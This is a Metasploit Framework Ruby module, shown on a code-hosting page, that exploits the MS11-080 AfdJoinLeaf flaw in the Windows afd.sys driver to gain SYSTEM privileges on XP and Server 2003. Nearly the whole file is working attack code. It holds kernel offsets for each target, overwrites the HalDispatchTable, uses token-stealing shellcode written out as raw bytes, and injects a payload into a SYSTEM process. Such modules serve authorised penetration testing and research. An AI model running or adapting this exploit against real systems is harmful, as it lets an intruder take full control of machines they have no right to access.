910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
327 lines
11 KiB
Ruby
327 lines
11 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/priv'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = AverageRanking
|
|
# Average because this module relies on memory corruption within the
|
|
# kernel, this is inherently dangerous. Also if the payload casues
|
|
# the system process that it was injected into to die then it's also
|
|
# possible that the system may become unstable.
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a flaw in the AfdJoinLeaf function of the
|
|
afd.sys driver to overwrite data in kernel space. An address
|
|
within the HalDispatchTable is overwritten and when triggered
|
|
with a call to NtQueryIntervalProfile will execute shellcode.
|
|
|
|
This module will elevate itself to SYSTEM, then inject the payload
|
|
into another SYSTEM process before restoring it's own token to
|
|
avoid causing system instability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Matteo Memelli', # original exploit and all the hard work
|
|
'Spencer McIntyre' # MSF module
|
|
],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
|
|
[ 'Windows XP SP2 / SP3',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x16bba,
|
|
'HalpSetSystemInformation' => 0x19436,
|
|
'_KPROCESS' => "\x44",
|
|
'_TOKEN' => "\xc8",
|
|
'_UPID' => "\x84",
|
|
'_APLINKS' => "\x88"
|
|
}
|
|
],
|
|
|
|
[ 'Windows Server 2003 SP2',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x1fa1e,
|
|
'HalpSetSystemInformation' => 0x21c60,
|
|
'_KPROCESS' => "\x38",
|
|
'_TOKEN' => "\xd8",
|
|
'_UPID' => "\x94",
|
|
'_APLINKS' => "\x98"
|
|
}
|
|
],
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-2005' ],
|
|
[ 'MSB', 'MS11-080' ],
|
|
[ 'EDB', '18176' ],
|
|
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
|
|
],
|
|
'DisclosureDate'=> 'Nov 30 2011',
|
|
'DefaultTarget' => 0
|
|
}))
|
|
|
|
register_options([
|
|
])
|
|
|
|
end
|
|
|
|
def find_sys_base(drvname)
|
|
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
|
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
|
|
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
|
|
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
|
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
|
|
|
addresses.each do |address|
|
|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
|
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
|
if drvname == nil
|
|
if current_drvname.downcase.include?('krnl')
|
|
return [address, current_drvname]
|
|
end
|
|
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
|
return [address, current_drvname]
|
|
end
|
|
end
|
|
end
|
|
|
|
# Function borrowed from smart_hashdump
|
|
def get_system_proc
|
|
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
|
local_sys = resolve_sid("S-1-5-18")
|
|
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
|
|
|
# Processes that can Blue Screen a host if migrated in to
|
|
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
|
|
session.sys.process.processes.each do |p|
|
|
# Check we are not migrating to a process that can BSOD the host
|
|
next if dangerous_processes.include?(p["name"])
|
|
next if p["pid"] == session.sys.process.getpid
|
|
next if p["pid"] == 4
|
|
next if p["user"] != system_account_name
|
|
return p
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if sysinfo["Architecture"] =~ /wow64/i
|
|
print_error("Running against WOW64 is not supported")
|
|
return
|
|
elsif sysinfo["Architectore"] =~ /x64/
|
|
print_error("Running against 64-bit systems is not supported")
|
|
return
|
|
end
|
|
|
|
mytarget = target
|
|
if mytarget.name =~ /Automatic/
|
|
os = sysinfo["OS"]
|
|
if os =~ /windows xp/i
|
|
mytarget = targets[1]
|
|
end
|
|
if ((os =~ /2003/) and (os =~ /service pack 2/i))
|
|
mytarget = targets[2]
|
|
end
|
|
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
|
mytarget = targets[2]
|
|
end
|
|
|
|
if mytarget.name =~ /Automatic/
|
|
print_error("Could not identify the target system, it may not be supported")
|
|
return
|
|
end
|
|
print_status("Running against #{mytarget.name}")
|
|
end
|
|
|
|
if is_system?
|
|
print_error("This meterpreter session is already running as SYSTEM")
|
|
return
|
|
end
|
|
|
|
this_proc = session.sys.process.open
|
|
kernel_info = find_sys_base(nil)
|
|
base_addr = 0x1001
|
|
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
|
|
|
|
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
|
|
socket = result['return']
|
|
|
|
irpstuff = rand_text_alpha(8)
|
|
irpstuff << "\x00\x00\x00\x00"
|
|
irpstuff << rand_text_alpha(4)
|
|
irpstuff << "\x01\x00\x00\x00"
|
|
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
|
|
irpstuff << rand_text_alpha(231)
|
|
|
|
if not this_proc.memory.writable?(0x1000)
|
|
session.railgun.add_function(
|
|
'ntdll',
|
|
'NtAllocateVirtualMemory',
|
|
'DWORD',
|
|
[
|
|
["DWORD", "ProcessHandle", "in"],
|
|
["PBLOB", "BaseAddress", "inout"],
|
|
["PDWORD", "ZeroBits", "in"],
|
|
["PBLOB", "RegionSize", "inout"],
|
|
["DWORD", "AllocationType", "in"],
|
|
["DWORD", "Protect", "in"]
|
|
])
|
|
|
|
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
|
|
end
|
|
if not this_proc.memory.writable?(0x1000)
|
|
print_error('Failed to properly allocate memory')
|
|
return
|
|
end
|
|
this_proc.memory.write(0x1000, irpstuff)
|
|
|
|
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
|
hKernel = hKernel['return']
|
|
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
|
|
halDispatchTable = halDispatchTable['return']
|
|
halDispatchTable -= hKernel
|
|
halDispatchTable += kernel_info[0]
|
|
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
|
|
|
|
halbase = find_sys_base("hal.dll")[0]
|
|
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
|
|
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
|
|
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
|
|
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
|
|
|
|
#### Exploitation ####
|
|
shellcode_address_dep = 0x0002071e
|
|
shellcode_address_nodep = 0x000207b8
|
|
padding = make_nops(2)
|
|
halDispatchTable0x4 = halDispatchTable + 0x4
|
|
halDispatchTable0x8 = halDispatchTable + 0x8
|
|
|
|
restore_ptrs = "\x31\xc0"
|
|
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
|
|
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
|
|
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
|
|
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
|
|
|
|
tokenstealing = "\x52"
|
|
tokenstealing << "\x53"
|
|
tokenstealing << "\x33\xc0"
|
|
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
|
|
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
|
|
tokenstealing << "\x8b\xc8"
|
|
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
|
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
|
|
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
|
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
|
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
|
|
tokenstealing << "\x75\xe8"
|
|
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
|
tokenstealing << "\x8b\xc1"
|
|
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
|
tokenstealing << "\x5b"
|
|
tokenstealing << "\x5a"
|
|
tokenstealing << "\xc2\x10"
|
|
|
|
restore_token = "\x52"
|
|
restore_token << "\x33\xc0"
|
|
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
|
|
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
|
|
restore_token << "\x8b\x15\x00\x09\x02\x00"
|
|
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
|
restore_token << "\x5a"
|
|
restore_token << "\xc2\x10"
|
|
|
|
shellcode = padding + restore_ptrs + tokenstealing
|
|
|
|
this_proc.memory.write(shellcode_address_dep, shellcode)
|
|
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
|
this_proc.memory.protect(0x00020000)
|
|
|
|
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
|
|
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
|
|
if result['return'] != 0xffffffff
|
|
print_error("The socket is not in the correct state")
|
|
return
|
|
end
|
|
|
|
session.railgun.add_function(
|
|
'ntdll',
|
|
'NtDeviceIoControlFile',
|
|
'DWORD',
|
|
[
|
|
[ "DWORD", "FileHandle", "in" ],
|
|
[ "DWORD", "Event", "in" ],
|
|
[ "DWORD", "ApcRoutine", "in" ],
|
|
[ "DWORD", "ApcContext", "in" ],
|
|
[ "PDWORD", "IoStatusBlock", "out" ],
|
|
[ "DWORD", "IoControlCode", "in" ],
|
|
[ "LPVOID", "InputBuffer", "in" ],
|
|
[ "DWORD", "InputBufferLength", "in" ],
|
|
[ "LPVOID", "OutputBuffer", "in" ],
|
|
[ "DWORD", "OutPutBufferLength", "in" ]
|
|
])
|
|
|
|
session.railgun.add_function(
|
|
'ntdll',
|
|
'NtQueryIntervalProfile',
|
|
'DWORD',
|
|
[
|
|
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
|
|
])
|
|
|
|
print_status("Triggering AFDJoinLeaf pointer overwrite...")
|
|
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
|
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
|
|
if not is_system?
|
|
print_error("Exploit failed")
|
|
return
|
|
end
|
|
|
|
begin
|
|
proc = get_system_proc
|
|
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
|
|
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
|
|
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
|
|
|
|
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
|
|
host_process.memory.write(mem, payload.encoded)
|
|
host_process.thread.create(mem, 0)
|
|
rescue ::Exception => e
|
|
print_error("Failed to Inject Payload")
|
|
print_error(e.to_s)
|
|
end
|
|
|
|
# Restore the token because apparently BSODs are frowned upon
|
|
print_status("Restoring the original token...")
|
|
shellcode = padding + restore_ptrs + restore_token
|
|
this_proc.memory.write(shellcode_address_dep, shellcode)
|
|
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
|
|
|
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
|
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
end
|
|
|
|
end
|